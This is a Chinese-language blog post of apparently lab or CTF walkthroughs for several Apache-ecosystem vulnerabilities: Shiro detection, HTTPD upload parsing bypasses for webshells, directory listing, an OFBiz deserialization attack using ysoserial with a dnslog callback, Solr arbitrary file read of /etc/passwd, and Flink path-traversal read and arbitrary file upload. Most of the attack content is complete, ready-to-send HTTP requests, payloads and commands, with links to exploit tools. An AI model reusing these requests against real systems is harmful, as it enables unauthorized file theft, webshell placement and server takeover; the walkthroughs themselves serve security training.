进入网站,可以看到登陆页面
此处直接用github上的工具测试,用dnslog查看响应。贴出我用的:https://github.com/insightglacier/Shiro_exploit
查看查询记录,表明漏洞存在。
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:
AddType text/html .html
AddLanguage zh-CN .cn
其给.html
后缀增加了media-type,值为text/html
;给.cn
后缀增加了语言,值为zh-CN
。此时,如果用户请求文件index.cn.html
,他将返回一个中文的html页面。
以上就是Apache多后缀的特性。如果运维人员给.php
后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件含有.php
后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
进入靶场,http://[靶场url]/index.php
中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。
访问目标页面,可见被成功解析为php文件。
apache 2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
复现过程,首先提交1.php文件,被拦截
再次提交文件,抓包修改数据包。在evil.php(名称可自定义)后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A。其中\x0D为\r的16进制,为回车符;\x0A为\n的16进制,为换行符),不再拦截:
访问刚才的/evil.php%0a
页面:
当apache配置不当时产生的安全隐患,当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。
来到目标页面,查看images子目录,可见文件被暴露了出来
接下来可以使用工具,扫描出网站的子目录,并利用此配置缺陷直接获得flag。
Apache OFBiz 是用于企业流程自动化的开源产品,包括 ERP(企业资源规划)、CRM(客户关系管理)、电子商务/电子商务、SCM(供应链管理)、MRP(制造资源规划)、MMS / EAM(维护管理系统/企业资产管理)的框架组件和业务应用。
近日,Apache OFBiz官方发布安全更新Apache OFBiz存在RMI反序列化前台命令执行,未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz。
Apache OFBiz < 17.12.06
step1:
武器准备
下载:ysoserial.jar
文件,下载地址:https://raw.githubusercontent.com/yumusb/CVE-2021-26295/main/ysoserial.jar
注意:java版本最好小于 12
准备文件:str2hex.py
,内容如下
import binascii
filename = '1.txt'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
step2:
访问dnslog.cn
获得一个域名,如xxx.dnslog.cn
构造并执行下列指令,获得hex 数据
java -jar .\ysoserial.jar URLDNS http://xxx.dnslog.cn >test.txt
python str2hex.py
step3:
访问目标/webtools/control/SOAPService
,抓包修改位POST
包,构造内容如下
POST /webtools/control/SOAPService HTTP/1.1
Host: 目标
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OFBiz.Visitor=10100
Upgrade-Insecure-Requests: 1
Content-Type: test/xml
Content-Length: 921
<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>生成的hex 数据</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Apache-Solr任意文件读取漏洞漏洞,攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。
Apache Solr <= 8.8.1
step1:
访问目标/solr/admin/cores?indexInfo=false&wt=json
,如http://192.168.66.130:8984/solr/admin/cores?indexInfo=false&wt=json
,记下图中数据,如testcore
step2:
构造并访问标/solr/testcore/config
,http://192.168.66.130:8984/solr/testcore/config
,抓包修改数据包类型为POST
,构造如下数据包
POST /solr/zkaq/config HTTP/1.1
Host: 目标
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type:application/json
Content-Length: 82
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
step3:
构造并访问目标//solr/testcore/debug/dump?param=ContentStreams
,如192.168.66.130:8984/solr/testcore/debug/dump?param=ContentStreams
抓包,修改为post包,添加&stream.url=file:///etc/passwd
POST /solr/testcore/debug/dump HTTP/1.1
Host: 192.168.66.130:8984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
param=ContentStreams&stream.url=file:///etc/passwd
Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。
Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
1.11.0、1.11.1、1.11.2
直接访问目标/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fflag
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。
Flink 1.5.1引入了REST API,可通过恶意修改的HTTP HEADER,将任意文件复制到文件系统的任意位置。
Flink 1.5.1-1.11.2
构造如下POST
包
POST /jars/upload HTTP/1.1
Host: 目标地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../你要上传的目录/文件名"
文件内容
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
如:
POST /jars/upload HTTP/1.1
Host: 目标地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 236
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/flink-web-1cffe0c9-d13e-4a19-bde2-3b4703ee29de/test123"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
访问目标地址/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252ftest123
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.